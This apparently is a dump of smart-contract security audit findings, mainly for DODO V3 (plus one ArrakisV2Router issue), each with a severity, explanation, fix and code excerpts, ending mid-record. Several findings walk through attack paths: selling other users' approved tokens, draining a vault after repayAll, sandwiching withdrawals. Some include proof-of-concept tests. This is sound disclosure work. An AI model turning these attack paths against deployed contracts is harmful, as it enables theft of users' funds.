Anyone can sell other users' tokens as `fromToken`, and get the toToken's themselves due to `decodeData.payer` is never checked.\\nLet's examine the token-selling process and the transaction flow.\\nThe user will initiate the transaction with the `sellTokens()` method in the `D3Proxy.sol` contract, and provide multiple inputs like `pool`, `fromToken`, `toToken`, `fromAmount`, `data` etc.\\n```\\n// File: D3Proxy.sol\\n function sellTokens(\\n address pool,\\n address to,\\n address fromToken,\\n address toToken,\\n uint256 fromAmount,\\n uint256 minReceiveAmount,\\n bytes calldata data,\\n uint256 deadLine\\n ) public payable judgeExpired(deadLine) returns (uint256 receiveToAmount) {\\n if (fromToken == _ETH_ADDRESS_) {\\n require(msg.value == fromAmount, "D3PROXY_VALUE_INVALID");\\n receiveToAmount = ID3MM(pool).sellToken(to, _WETH_, toToken, fromAmount, minReceiveAmount, data);\\n } else if (toToken == _ETH_ADDRESS_) {\\n receiveToAmount =\\n ID3MM(pool).sellToken(address(this), fromToken, _WETH_, fromAmount, minReceiveAmount, data);\\n _withdrawWETH(to, receiveToAmount);\\n // multicall withdraw weth to user\\n } else {\\n receiveToAmount = ID3MM(pool).sellToken(to, fromToken, toToken, fromAmount, minReceiveAmount, data);\\n }\\n }\\n```\\n\\nAfter some checks, this method in the `D3Proxy.sol` will make a call to the `sellToken()` function in the pool contract (inherits D3Trading.sol). After this call, things that will happen in the pool contract are:\\nTransferring the toToken's to the "to" address (with _transferOut)\\nMaking a callback to `D3Proxy` contract to deposit fromToken's to the pool. (with IDODOSwapCallback(msg.sender).d3MMSwapCallBack)\\nChecking the pool balance and making sure that the fromToken's are actually deposited to the pool. (with this line: IERC20(fromToken).balanceOf(address(this)) - state.balances[fromToken] >= fromAmount)\\n```\\n// File: D3Trading.sol\\n// Method: sellToken()\\n108.--> _transferOut(to, toToken, receiveToAmount);\\n109.\\n110. // external call & swap callback\\n111.--> IDODOSwapCallback(msg.sender).d3MMSwapCallBack(fromToken, fromAmount, data);\\n112. // transfer mtFee to maintainer\\n113. _transferOut(state._MAINTAINER_, toToken, mtFee);\\n114.\\n115. require(\\n116.--> IERC20(fromToken).balanceOf(address(this)) - state.balances[fromToken] >= fromAmount,\\n117. Errors.FROMAMOUNT_NOT_ENOUGH\\n118. );\\n```\\n\\nThe source of the vulnerability is the `d3MMSwapCallBack()` function in the `D3Proxy`. It is called by the pool contract with the `fromToken`, `fromAmount` and `data` inputs to make a `fromToken` deposit to the pool.\\n```\\n//File: D3Proxy.sol \\n /// @notice This callback is used to deposit token into D3MM\\n /// @param token The address of token\\n /// @param value The amount of token need to deposit to D3MM\\n /// @param _data Any data to be passed through to the callback\\n function d3MMSwapCallBack(address token, uint256 value, bytes calldata _data) external override {\\n require(ID3Vault(_D3_VAULT_).allPoolAddrMap(msg.sender), "D3PROXY_CALLBACK_INVALID");\\n SwapCallbackData memory decodeData;\\n decodeData = abi.decode(_data, (SwapCallbackData));\\n--> _deposit(decodeData.payer, msg.sender, token, value);\\n }\\n```\\n\\nAn attacker can create a `SwapCallbackData` struct with any regular user's address, encode it and pass it through the `sellTokens()` function, and get the toToken's.\\nYou can say that `_deposit()` will need the payer's approval but the attackers will know that too. A regular user might have already approved the pool & proxy for the max amount. Attackers can easily check any token's allowances and exploit already approved tokens. Or they can simply watch the mempool and front-run any normal seller right after they approve but before they call the `sellTokens()`.
I would recommend to check if the `decodeData.payer == msg.sender` in the beginning of the `sellTokens()` function in `D3Proxy` contract. Because msg.sender will be the pool's address if you want to check it in the `d3MMSwapCallBack()` function, and this check will not be valid to see if the payer is actually the seller.\\nAnother option might be creating a local variable called "seller" and saving the msg.sender value when they first started the transaction. After that make `decodeData.payer == seller` check in the `d3MMSwapCallBack()`.
An attacker can sell any user's tokens and steal their funds.
```\\n// File: D3Proxy.sol\\n function sellTokens(\\n address pool,\\n address to,\\n address fromToken,\\n address toToken,\\n uint256 fromAmount,\\n uint256 minReceiveAmount,\\n bytes calldata data,\\n uint256 deadLine\\n ) public payable judgeExpired(deadLine) returns (uint256 receiveToAmount) {\\n if (fromToken == _ETH_ADDRESS_) {\\n require(msg.value == fromAmount, "D3PROXY_VALUE_INVALID");\\n receiveToAmount = ID3MM(pool).sellToken(to, _WETH_, toToken, fromAmount, minReceiveAmount, data);\\n } else if (toToken == _ETH_ADDRESS_) {\\n receiveToAmount =\\n ID3MM(pool).sellToken(address(this), fromToken, _WETH_, fromAmount, minReceiveAmount, data);\\n _withdrawWETH(to, receiveToAmount);\\n // multicall withdraw weth to user\\n } else {\\n receiveToAmount = ID3MM(pool).sellToken(to, fromToken, toToken, fromAmount, minReceiveAmount, data);\\n }\\n }\\n```\\n
When a D3MM pool repays all of the borrowed funds to vault using `D3Funding.sol repayAll`, an attacker can steal double the amount of those funds from vault
high
When a D3MM pool repays all of the borrowed funds to vault using D3Funding.sol repayAll, an attacker can steal double the amount of those funds from vault. This is because the balance of vault is not updated correctly in D3VaultFunding.sol _poolRepayAll.\\n`amount` should be added in `info.balance` instead of being subtracted.\\n```\\n function _poolRepayAll(address pool, address token) internal {\\n .\\n .\\n info.totalBorrows = info.totalBorrows - amount;\\n info.balance = info.balance - amount; // amount should be added here\\n .\\n .\\n }\\n```\\n\\nA `D3MM pool` can repay all of the borrowed funds from vault using the function D3Funding.sol repayAll which further calls D3VaultFunding.sol poolRepayAll and eventually D3VaultFunding.sol _poolRepayAll.\\n```\\n function repayAll(address token) external onlyOwner nonReentrant poolOngoing {\\n ID3Vault(state._D3_VAULT_).poolRepayAll(token);\\n _updateReserve(token);\\n require(checkSafe(), Errors.NOT_SAFE);\\n }\\n```\\n\\nThe vault keeps a record of borrowed funds and its current token balance.\\n`_poolRepayAll()` is supposed to:\\nDecrease the borrowed funds by the repaid amount\\nIncrease the token balance by the same amount #vulnerability\\nTransfer the borrowed funds from pool to vault\\nHowever, `_poolRepayAll()` is decreasing the token balance instead.\\n```\\n function _poolRepayAll(address pool, address token) internal {\\n .\\n .\\n .\\n .\\n\\n info.totalBorrows = info.totalBorrows - amount;\\n info.balance = info.balance - amount; // amount should be added here\\n\\n IERC20(token).safeTransferFrom(pool, address(this), amount);\\n\\n emit PoolRepay(pool, token, amount, interests);\\n }\\n```\\n\\nLet's say a vault has 100,000 USDC A pool borrows 20,000 USDC from vault\\nWhen the pool calls `poolRepayAll()`, the asset info in vault will change as follows:\\n`totalBorrows => 20,000 - 20,000 => 0` // info.totalBorrows - amount\\n`balance => 100,000 - 20,000 => 80,000` // info.balance - amount\\n`tokens owned by vault => 100,000 + 20,000 => 120,000 USDC` // 20,000 USDC is transferred from pool to vault (repayment)\\nThe difference of recorded balance (80,000) and actual balance (120,000) is `40,000 USDC`\\nAn attacker waits for the `poolRepayAll()` function call by a pool.\\nWhen `poolRepayAll()` is executed, the attacker calls D3VaultFunding.sol userDeposit(), which deposits 40,000 USDC in vault on behalf of the attacker.\\nAfter this, the attacker withdraws the deposited amount using D3VaultFunding.sol userWithdraw() and thus gains 40,000 USDC.\\n```\\n function userDeposit(address user, address token) external nonReentrant allowedToken(token) {\\n .\\n .\\n .\\n AssetInfo storage info = assetInfo[token];\\n uint256 realBalance = IERC20(token).balanceOf(address(this)); // check tokens owned by vault\\n uint256 amount = realBalance - info.balance; // amount = 120000-80000\\n .\\n .\\n .\\n IDToken(info.dToken).mint(user, dTokenAmount);\\n info.balance = realBalance;\\n\\n emit UserDeposit(user, token, amount);\\n }\\n```\\n
Issue When a D3MM pool repays all of the borrowed funds to vault using `D3Funding.sol repayAll`, an attacker can steal double the amount of those funds from vault\\nIn D3VaultFunding.sol _poolRepayAll, do the following changes:\\nCurrent code: `info.balance = info.balance - amount;`\\nNew (replace '-' with '+'): `info.balance = info.balance + amount;`
Loss of funds from vault. The loss will be equal to 2x amount of borrowed tokens that a D3MM pool repays using D3VaultFunding.sol poolRepayAll
```\\n function _poolRepayAll(address pool, address token) internal {\\n .\\n .\\n info.totalBorrows = info.totalBorrows - amount;\\n info.balance = info.balance - amount; // amount should be added here\\n .\\n .\\n }\\n```\\n
possible precision loss in D3VaultLiquidation.finishLiquidation() function when calculating realDebt because of division before multiplication
medium
finishLiquidation() divides before multiplying when calculating realDebt.\\n```\\nuint256 realDebt = borrows.div(record.interestIndex == 0 ? 1e18 : record.interestIndex).mul(info.borrowIndex);\\n```\\n\\nThere will be precision loss when calculating the realDebt because solidity truncates values when dividing and dividing before multiplying causes precision loss.\\nValues that suffered from precision loss will be updated here\\n```\\n info.totalBorrows = info.totalBorrows - realDebt;\\n```\\n
don't divide before multiplying
Issue possible precision loss in D3VaultLiquidation.finishLiquidation() function when calculating realDebt because of division before multiplication\\nValues that suffered from precision loss will be updated here\\n```\\n info.totalBorrows = info.totalBorrows - realDebt;\\n```\\n
```\\nuint256 realDebt = borrows.div(record.interestIndex == 0 ? 1e18 : record.interestIndex).mul(info.borrowIndex);\\n```\\n
`D3VaultFunding.userWithdraw()` doen not have mindTokenAmount
medium
`D3VaultFunding.userWithdraw()` doen not have mindTokenAmount, and use `_getExchangeRate` directly.This is vulnerable to a sandwich attack.\\nAs we can see, `D3VaultFunding.userWithdraw()` doen not have mindTokenAmount, and use `_getExchangeRate` directly.\\n```\\nfunction userWithdraw(address to, address user, address token, uint256 dTokenAmount) external nonReentrant allowedToken(token) returns(uint256 amount) {\\n accrueInterest(token);\\n AssetInfo storage info = assetInfo[token];\\n require(dTokenAmount <= IDToken(info.dToken).balanceOf(msg.sender), Errors.DTOKEN_BALANCE_NOT_ENOUGH);\\n\\n amount = dTokenAmount.mul(_getExchangeRate(token));//@audit does not check amount value\\n IDToken(info.dToken).burn(msg.sender, dTokenAmount);\\n IERC20(token).safeTransfer(to, amount);\\n info.balance = info.balance - amount;\\n\\n // used for calculate user withdraw amount\\n // this function could be called from d3Proxy, so we need "user" param\\n // In the meantime, some users may hope to use this function directly,\\n // to prevent these users fill "user" param with wrong addresses,\\n // we use "msg.sender" param to check.\\n emit UserWithdraw(msg.sender, user, token, amount);\\n }\\n```\\n\\nAnd the `_getExchangeRate()` result is about `cash` , `info.totalBorrows`, info.totalReserves,info.withdrawnReserves,dTokenSupply,This is vulnerable to a sandwich attack leading to huge slippage\\n```\\nfunction _getExchangeRate(address token) internal view returns (uint256) {\\n AssetInfo storage info = assetInfo[token];\\n uint256 cash = getCash(token);\\n uint256 dTokenSupply = IERC20(info.dToken).totalSupply();\\n if (dTokenSupply == 0) { return 1e18; }\\n return (cash + info.totalBorrows - (info.totalReserves - info.withdrawnReserves)).div(dTokenSupply);\\n } \\n```\\n
Add `mindTokenAmount` parameter for `userWithdraw()` function and check if `amount < mindTokenAmount`
This is vulnerable to a sandwich attack.
```\\nfunction userWithdraw(address to, address user, address token, uint256 dTokenAmount) external nonReentrant allowedToken(token) returns(uint256 amount) {\\n accrueInterest(token);\\n AssetInfo storage info = assetInfo[token];\\n require(dTokenAmount <= IDToken(info.dToken).balanceOf(msg.sender), Errors.DTOKEN_BALANCE_NOT_ENOUGH);\\n\\n amount = dTokenAmount.mul(_getExchangeRate(token));//@audit does not check amount value\\n IDToken(info.dToken).burn(msg.sender, dTokenAmount);\\n IERC20(token).safeTransfer(to, amount);\\n info.balance = info.balance - amount;\\n\\n // used for calculate user withdraw amount\\n // this function could be called from d3Proxy, so we need "user" param\\n // In the meantime, some users may hope to use this function directly,\\n // to prevent these users fill "user" param with wrong addresses,\\n // we use "msg.sender" param to check.\\n emit UserWithdraw(msg.sender, user, token, amount);\\n }\\n```\\n
D3Oracle will return the wrong price if the Chainlink aggregator returns price outside min/max range
medium
Chainlink oracles have a min and max price that they return. If the price goes below the minimum price the oracle will not return the correct price but only the min price. Same goes for the other extremity.\\nBoth `getPrice()` and `getOriginalPrice()` only check `price > 0` not are they within the correct range\\n```\\n(uint80 roundID, int256 price,, uint256 updatedAt, uint80 answeredInRound) = priceFeed.latestRoundData();\\nrequire(price > 0, "Chainlink: Incorrect Price");\\nrequire(block.timestamp - updatedAt < priceSources[token].heartBeat, "Chainlink: Stale Price");\\nrequire(answeredInRound >= roundID, "Chainlink: Stale Price");\\n```\\n
Check the latest answer against reasonable limits and/or revert in case you get a bad price\\n```\\n require(price >= minAnswer && price <= maxAnswer, "invalid price");\\n```\\n
The wrong price may be returned in the event of a market crash. The functions with the issue are used in `D3VaultFunding.sol`, `D3VaultLiquidation.sol` and `D3UserQuota.sol`
```\\n(uint80 roundID, int256 price,, uint256 updatedAt, uint80 answeredInRound) = priceFeed.latestRoundData();\\nrequire(price > 0, "Chainlink: Incorrect Price");\\nrequire(block.timestamp - updatedAt < priceSources[token].heartBeat, "Chainlink: Stale Price");\\nrequire(answeredInRound >= roundID, "Chainlink: Stale Price");\\n```\\n
parseAllPrice not support the tokens whose decimal is greater than 18
medium
`parseAllPrice` not support the token decimal is greater than 18, such as NEAR with 24 decimal. Since `buyToken / sellToken` is dependent on `parseAllPrice`, so users can't trade tokens larger than 18 decimal, but DODOv3 is intended to be compatible with all standard ERC20, which is not expected.\\n```\\n // fix price decimal\\n if (tokenDecimal != 18) {\\n uint256 fixDecimal = 18 - tokenDecimal;\\n bidDownPrice = bidDownPrice / (10 ** fixDecimal);\\n bidUpPrice = bidUpPrice / (10 ** fixDecimal);\\n askDownPrice = askDownPrice * (10 ** fixDecimal);\\n askUpPrice = askUpPrice * (10 ** fixDecimal);\\n }\\n```\\n\\nIf `tokenDecimal > 18`, `18 - tokenDecimal` will revert
Fix decimal to 36 instead of 18
DODOv3 is not compatible the tokens whose decimal is greater than 18, users can't trade them.
```\\n // fix price decimal\\n if (tokenDecimal != 18) {\\n uint256 fixDecimal = 18 - tokenDecimal;\\n bidDownPrice = bidDownPrice / (10 ** fixDecimal);\\n bidUpPrice = bidUpPrice / (10 ** fixDecimal);\\n askDownPrice = askDownPrice * (10 ** fixDecimal);\\n askUpPrice = askUpPrice * (10 ** fixDecimal);\\n }\\n```\\n
Wrong assignment of `cumulativeBid` for RangeOrder state in getRangeOrderState function
medium
Wrong assignment of `cumulativeBid` for RangeOrder state\\nIn `D3Trading`, the `getRangeOrderState` function is returning RangeOrder (get swap status for internal swap) which is assinging wrong toTokenMMInfo.cumulativeBid which suppose to be `cumulativeBid` not `cumulativeAsk`\\nThe error lies in the assignment of `roState.toTokenMMInfo.cumulativeBid`. Instead of assigning `tokenCumMap[toToken].cumulativeAsk`, it should be assigning `tokenCumMap[toToken].cumulativeBid`.\\n```\\nFile: D3Trading.sol\\n roState.toTokenMMInfo.cumulativeBid =\\n allFlag (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeAsk;\\n```\\n\\nThis wrong assignment value definitely will mess up accounting balance, resulting unknown state will occure, which is not expected by the protocol\\nFor one case, this `getRangeOrderState` is being used in `querySellTokens` & `queryBuyTokens` which may later called from `sellToken` and `buyToken`. The issue is when calling `_contructTokenState` which can be reverted from `PMMRangeOrder` when buy or sell token\\n```\\nFile: PMMRangeOrder.sol\\n // B\\n tokenState.B = askOrNot ? tokenState.B0 - tokenMMInfo.cumulativeAsk : tokenState.B0 - tokenMMInfo.cumulativeBid;\\n```\\n\\nWhen the `tokenMMInfo.cumulativeBid` (which was wrongly assign from cumulativeAsk) is bigger than `tokenState.B0`, this will revert
Fix the error to\\n```\\nFile: D3Trading.sol\\n roState.toTokenMMInfo.cumulativeBid =\\n// Remove the line below\\n// Remove the line below\\n: allFlag (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeAsk;\\n// Add the line below\\n// Add the line below\\n: allFlag (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeBid;\\n```\\n
This wrong assignment value definitely will mess up accounting balance, resulting unknown state will occure, which is not expected by the protocol. For example reverting state showing a case above.
```\\nFile: D3Trading.sol\\n roState.toTokenMMInfo.cumulativeBid =\\n allFlag (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeAsk;\\n```\\n
D3VaultFunding#checkBadDebtAfterAccrue is inaccurate and can lead to further damage to both LP's and MM
medium
D3VaultFunding#checkBadDebtAfterAccrue makes the incorrect assumption that a collateral ratio of less than 1e18 means that the pool has bad debt. Due to how collateral and debt weight affect the collateral ratio calculation a pool can have a collateral ratio less than 1e18 will still maintaining debt that is profitable to liquidate. The result of this is that the after this threshold has been passed, a pool can no longer be liquidate by anyone which can lead to continued losses that harm both the LPs and the MM being liquidated.\\nD3VaultFunding.sol#L382-L386\\n```\\n if (balance >= borrows) {\\n collateral += min(balance - borrows, info.maxCollateralAmount).mul(info.collateralWeight).mul(price);\\n } else {\\n debt += (borrows - balance).mul(info.debtWeight).mul(price);\\n }\\n```\\n\\nWhen calculating the collateral and debt values, the value of the collateral is adjusted by the collateralWeight and debtWeight respectively. This can lead to a position in which the collateral ratio is less than 1e18, which incorrectly signals the pool has bad debt via the checkBadDebtAfterAccrue check.\\nExample:\\n```\\nAssume a pool has the following balances and debts:\\n\\nToken A - 100 borrows 125 balance\\nToken B - 100 borrows 80 balance\\n\\nPrice A = 1\\ncollateralWeightA = 0.8\\n\\nPrice B = 1\\ndebtWeightB = 1.2\\n\\ncollateral = 25 * 1 * 0.8 = 20\\ndebt = 20 * 1 * 1.2 = 24\\n\\ncollateralRatio = 20/24 = 0.83\\n```\\n\\nThe problem here is that there is no bad debt at all and it is still profitable to liquidate this pool, even with a discount:\\n```\\nExcessCollateral = 125 - 100 = 25\\n\\n25 * 1 * 0.95 [DISCOUNT] = 23.75\\n\\nExcessDebt = 100 - 80 = 20\\n\\n20 * 1 = 20\\n```\\n\\nThe issue with this is that once this check has been triggered, no other market participants besides DODO can liquidate this position. This creates a significant inefficiency in the market that can easily to real bad debt being created for the pool. This bad debt is harmful to both the pool MM, who could have been liquidated with remaining collateral, and also the vault LPs who directly pay for the bad debt.
The methodology of the bad debt check should be changed to remove collateral and debt weights to accurately indicate the presence of bad debt.
Unnecessary loss of funds to LPs and MMs
```\\n if (balance >= borrows) {\\n collateral += min(balance - borrows, info.maxCollateralAmount).mul(info.collateralWeight).mul(price);\\n } else {\\n debt += (borrows - balance).mul(info.debtWeight).mul(price);\\n }\\n```\\n
D3UserQuote#getUserQuote queries incorrect token for exchangeRate leading to inaccurate quota calculations
medium
A small typo in the valuation loop of D3UserQuote#getUserQuote uses the wrong variable leading to and incorrect quota being returned. The purpose of a quota is to mitigate risk of positions being too large. This incorrect assumption can dramatically underestimate the quota leading to oversized (and overrisk) positions.\\nD3UserQuota.sol#L75-L84\\n```\\n for (uint256 i = 0; i < tokenList.length; i++) {\\n address _token = tokenList[i];\\n (address assetDToken,,,,,,,,,,) = d3Vault.getAssetInfo(_token);\\n uint256 tokenBalance = IERC20(assetDToken).balanceOf(user);\\n if (tokenBalance > 0) {\\n tokenBalance = tokenBalance.mul(d3Vault.getExchangeRate(token)); <- @audit-issue queries token instead of _token\\n (uint256 tokenPrice, uint8 priceDecimal) = ID3Oracle(d3Vault._ORACLE_()).getOriginalPrice(_token);\\n usedQuota = usedQuota + tokenBalance * tokenPrice / 10 ** (priceDecimal+tokenDecimals);\\n }\\n }\\n```\\n\\nD3UserQuota.sol#L80 incorrectly uses token rather than _token as it should. This returns the wrong exchange rate which can dramatically alter the perceived token balance as well as the calculated quota.
Change variable from token to _token:\\n```\\n- tokenBalance = tokenBalance.mul(d3Vault.getExchangeRate(token));\\n+ tokenBalance = tokenBalance.mul(d3Vault.getExchangeRate(_token));\\n```\\n
Quota is calculated incorrectly leading to overly risky positions, which in turn can cause loss to the system
```\\n for (uint256 i = 0; i < tokenList.length; i++) {\\n address _token = tokenList[i];\\n (address assetDToken,,,,,,,,,,) = d3Vault.getAssetInfo(_token);\\n uint256 tokenBalance = IERC20(assetDToken).balanceOf(user);\\n if (tokenBalance > 0) {\\n tokenBalance = tokenBalance.mul(d3Vault.getExchangeRate(token)); <- @audit-issue queries token instead of _token\\n (uint256 tokenPrice, uint8 priceDecimal) = ID3Oracle(d3Vault._ORACLE_()).getOriginalPrice(_token);\\n usedQuota = usedQuota + tokenBalance * tokenPrice / 10 ** (priceDecimal+tokenDecimals);\\n }\\n }\\n```\\n
Calculation B0 meets devision 0 error when a token has small decimal and high price with a small kBid
medium
Here is poc\\n```\\n function testQueryFail() public {\\n token1ChainLinkOracle.feedData(30647 * 1e18);\\n token2ChainLinkOracle.feedData(1 * 1e18);\\n vm.startPrank(maker);\\n uint32[] memory tokenKs = new uint32[](2);\\n tokenKs[0] = 0;\\n tokenKs[1] = (1<< 16) +1;\\n address[] memory tokens = new address[](2);\\n tokens[0] = address(token2);\\n tokens[1] = address(token1);\\n address[] memory slotIndex = new address[](2);\\n slotIndex[0] = address(token1);\\n slotIndex[1] = address(token2);\\n uint80[] memory priceSlot = new uint80[](2);\\n priceSlot[0] = 2191925019632266903652;\\n priceSlot[1] = 720435765840878108682;\\n\\n uint64[] memory amountslot = new uint64[](2);\\n amountslot[0] = stickAmount(10,8, 400000, 18);\\n amountslot[1] = stickAmount(400000, 18, 400000, 18);\\n d3MakerWithPool.setTokensKs(tokens, tokenKs);\\n d3MakerWithPool.setTokensPrice(slotIndex, priceSlot);\\n d3MakerWithPool.setTokensAmounts(slotIndex, amountslot);\\n vm.stopPrank();\\n\\n (uint256 askDownPrice, uint256 askUpPrice, uint256 bidDownPrice, uint256 bidUpPrice, uint256 swapFee) =\\n d3MM.getTokenMMPriceInfoForRead(address(token1));\\n assertEq(askDownPrice, 304555028000000000000000000000000);\\n assertEq(askUpPrice, 307231900000000000000000000000000);\\n assertEq(bidDownPrice, 3291);\\n assertEq(bidUpPrice, 3320);\\n assertEq(swapFee, 1200000000000000);\\n\\n //console.log(askDownPrice);\\n //console.log(askUpPrice);\\n //console.log(bidDownPrice);\\n //console.log(bidUpPrice);\\n //console.log(swapFee);\\n\\n (,,uint kask, uint kbid,,) = d3MM.getTokenMMOtherInfoForRead(address(token1));\\n assertEq(kask, 1e14);\\n assertEq(kbid, 1e14);\\n\\n (askDownPrice, askUpPrice, bidDownPrice, bidUpPrice, swapFee) =\\n d3MM.getTokenMMPriceInfoForRead(address(token2));\\n assertEq(askDownPrice, 999999960000000000);\\n assertEq(askUpPrice, 1000799800000000000);\\n assertEq(bidDownPrice, 1000400120032008002);\\n assertEq(bidUpPrice, 1001201241249250852);\\n assertEq(swapFee, 200000000000000);\\n\\n (,,kask, kbid,,) = d3MM.getTokenMMOtherInfoForRead(address(token2));\\n assertEq(kask, 0);\\n assertEq(kbid, 0);\\n\\n //console.log(askDownPrice);\\n //console.log(askUpPrice);\\n //console.log(bidDownPrice);\\n //console.log(bidUpPrice);\\n //console.log(swapFee);\\n //console.log(kask);\\n //console.log(kbid);\\n\\n SwapCallbackData memory swapData;\\n swapData.data = "";\\n swapData.payer = user1;\\n\\n //uint256 gasleft1 = gasleft();\\n uint256 receiveToToken = d3Proxy.sellTokens(\\n address(d3MM),\\n user1,\\n address(token1),\\n address(token2),\\n 1000000,\\n 0,\\n abi.encode(swapData),\\n block.timestamp + 1000\\n );\\n```\\n\\nIt will revert. In this example, wbtc price is 30445, and k = 0.0001, suppose maker contains rules, but model is invalid.
Fix formula for this corner case, like making temp2 = 1\\nImprove calculation accuracy by consistently using precision 18 for calculations and converting to real decimal when processing amounts.
Maker sets right parameters but traders can't swap. It will make swap model invalid.\\nTool Used\\nManual Review
```\\n function testQueryFail() public {\\n token1ChainLinkOracle.feedData(30647 * 1e18);\\n token2ChainLinkOracle.feedData(1 * 1e18);\\n vm.startPrank(maker);\\n uint32[] memory tokenKs = new uint32[](2);\\n tokenKs[0] = 0;\\n tokenKs[1] = (1<< 16) +1;\\n address[] memory tokens = new address[](2);\\n tokens[0] = address(token2);\\n tokens[1] = address(token1);\\n address[] memory slotIndex = new address[](2);\\n slotIndex[0] = address(token1);\\n slotIndex[1] = address(token2);\\n uint80[] memory priceSlot = new uint80[](2);\\n priceSlot[0] = 2191925019632266903652;\\n priceSlot[1] = 720435765840878108682;\\n\\n uint64[] memory amountslot = new uint64[](2);\\n amountslot[0] = stickAmount(10,8, 400000, 18);\\n amountslot[1] = stickAmount(400000, 18, 400000, 18);\\n d3MakerWithPool.setTokensKs(tokens, tokenKs);\\n d3MakerWithPool.setTokensPrice(slotIndex, priceSlot);\\n d3MakerWithPool.setTokensAmounts(slotIndex, amountslot);\\n vm.stopPrank();\\n\\n (uint256 askDownPrice, uint256 askUpPrice, uint256 bidDownPrice, uint256 bidUpPrice, uint256 swapFee) =\\n d3MM.getTokenMMPriceInfoForRead(address(token1));\\n assertEq(askDownPrice, 304555028000000000000000000000000);\\n assertEq(askUpPrice, 307231900000000000000000000000000);\\n assertEq(bidDownPrice, 3291);\\n assertEq(bidUpPrice, 3320);\\n assertEq(swapFee, 1200000000000000);\\n\\n //console.log(askDownPrice);\\n //console.log(askUpPrice);\\n //console.log(bidDownPrice);\\n //console.log(bidUpPrice);\\n //console.log(swapFee);\\n\\n (,,uint kask, uint kbid,,) = d3MM.getTokenMMOtherInfoForRead(address(token1));\\n assertEq(kask, 1e14);\\n assertEq(kbid, 1e14);\\n\\n (askDownPrice, askUpPrice, bidDownPrice, bidUpPrice, swapFee) =\\n d3MM.getTokenMMPriceInfoForRead(address(token2));\\n assertEq(askDownPrice, 999999960000000000);\\n assertEq(askUpPrice, 1000799800000000000);\\n assertEq(bidDownPrice, 1000400120032008002);\\n assertEq(bidUpPrice, 1001201241249250852);\\n assertEq(swapFee, 200000000000000);\\n\\n (,,kask, kbid,,) = d3MM.getTokenMMOtherInfoForRead(address(token2));\\n assertEq(kask, 0);\\n assertEq(kbid, 0);\\n\\n //console.log(askDownPrice);\\n //console.log(askUpPrice);\\n //console.log(bidDownPrice);\\n //console.log(bidUpPrice);\\n //console.log(swapFee);\\n //console.log(kask);\\n //console.log(kbid);\\n\\n SwapCallbackData memory swapData;\\n swapData.data = "";\\n swapData.payer = user1;\\n\\n //uint256 gasleft1 = gasleft();\\n uint256 receiveToToken = d3Proxy.sellTokens(\\n address(d3MM),\\n user1,\\n address(token1),\\n address(token2),\\n 1000000,\\n 0,\\n abi.encode(swapData),\\n block.timestamp + 1000\\n );\\n```\\n
When swapping 18-decimal token to 8-decimal token , user could buy decimal-18-token with 0 amount of decimal-8-token
medium
Here is the poc:\\n```\\nuint256 payFromToken = d3Proxy.buyTokens(\\n address(d3MM),\\n user1,\\n address(token1),\\n address(token2),\\n 10000000,\\n 0,\\n abi.encode(swapData),\\n block.timestamp + 1000\\n );\\nassertEq(payFromToken, 0);\\n```\\n
In buyToken() of D3Trading.sol, add this rule:\\n```\\nif(payFromAmount == 0) { // value too small\\n payFromAmount = 1;\\n }\\n```\\n
It may cause unexpected loss\\nTool Used\\nManual Review
```\\nuint256 payFromToken = d3Proxy.buyTokens(\\n address(d3MM),\\n user1,\\n address(token1),\\n address(token2),\\n 10000000,\\n 0,\\n abi.encode(swapData),\\n block.timestamp + 1000\\n );\\nassertEq(payFromToken, 0);\\n```\\n
ArrakisV2Router#addLiquidityPermit2 will strand ETH
high
Inside ArrakisV2Router#addLiquidityPermit2, `isToken0Weth` is set incorrectly leading to the wrong amount of ETH being refunded to the user\\nArrakisV2Router.sol#L278-L298\\n```\\n bool isToken0Weth;\\n _permit2Add(params_, amount0, amount1, token0, token1);\\n\\n _addLiquidity(\\n params_.addData.vault,\\n amount0,\\n amount1,\\n sharesReceived,\\n params_.addData.gauge,\\n params_.addData.receiver,\\n token0,\\n token1\\n );\\n\\n if (msg.value > 0) {\\n if (isToken0Weth && msg.value > amount0) {\\n payable(msg.sender).sendValue(msg.value - amount0);\\n } else if (!isToken0Weth && msg.value > amount1) {\\n payable(msg.sender).sendValue(msg.value - amount1);\\n }\\n }\\n```\\n\\nAbove we see that excess msg.value is returned to the user at the end of the function. This uses the value of `isToken0Weth` to determine the amount to send back to the user. The issue is that `isToken0Weth` is set incorrectly and will lead to ETH being stranded in the contract. `isToken0Weth` is never set, it will always be `false`. This means that when WETH actually is token0 the incorrect amount of ETH will be sent back to the user.\\nThis same issue can also be used to steal the ETH left in the contract by a malicious user. To make matters worse, the attacker can manipulate the underlying pools to increase the amount of ETH left in the contract so they can steal even more.
Move `isToken0Weth` and set it correctly:\\n```\\n- bool isToken0Weth;\\n _permit2Add(params_, amount0, amount1, token0, token1);\\n\\n _addLiquidity(\\n params_.addData.vault,\\n amount0,\\n amount1,\\n sharesReceived,\\n params_.addData.gauge,\\n params_.addData.receiver,\\n token0,\\n token1\\n );\\n\\n if (msg.value > 0) {\\n+ bool isToken0Weth = _isToken0Weth(address(token0), address(token1));\\n if (isToken0Weth && msg.value > amount0) {\\n payable(msg.sender).sendValue(msg.value - amount0);\\n } else if (!isToken0Weth && msg.value > amount1) {\\n payable(msg.sender).sendValue(msg.value - amount1);\\n }\\n }\\n```\\n
ETH will be stranded in contract and stolen
```\\n bool isToken0Weth;\\n _permit2Add(params_, amount0, amount1, token0, token1);\\n\\n _addLiquidity(\\n params_.addData.vault,\\n amount0,\\n amount1,\\n sharesReceived,\\n params_.addData.gauge,\\n params_.addData.receiver,\\n token0,\\n token1\\n );\\n\\n if (msg.value > 0) {\\n if (isToken0Weth && msg.value > amount0) {\\n payable(msg.sender).sendValue(msg.value - amount0);\\n } else if (!isToken0Weth && msg.value > amount1) {\\n payable(msg.sender).sendValue(msg.value - amount1);\\n }\\n }\\n```\\n
Then getAmountsForDelta function at Underlying.sol is implemented incorrectly
medium
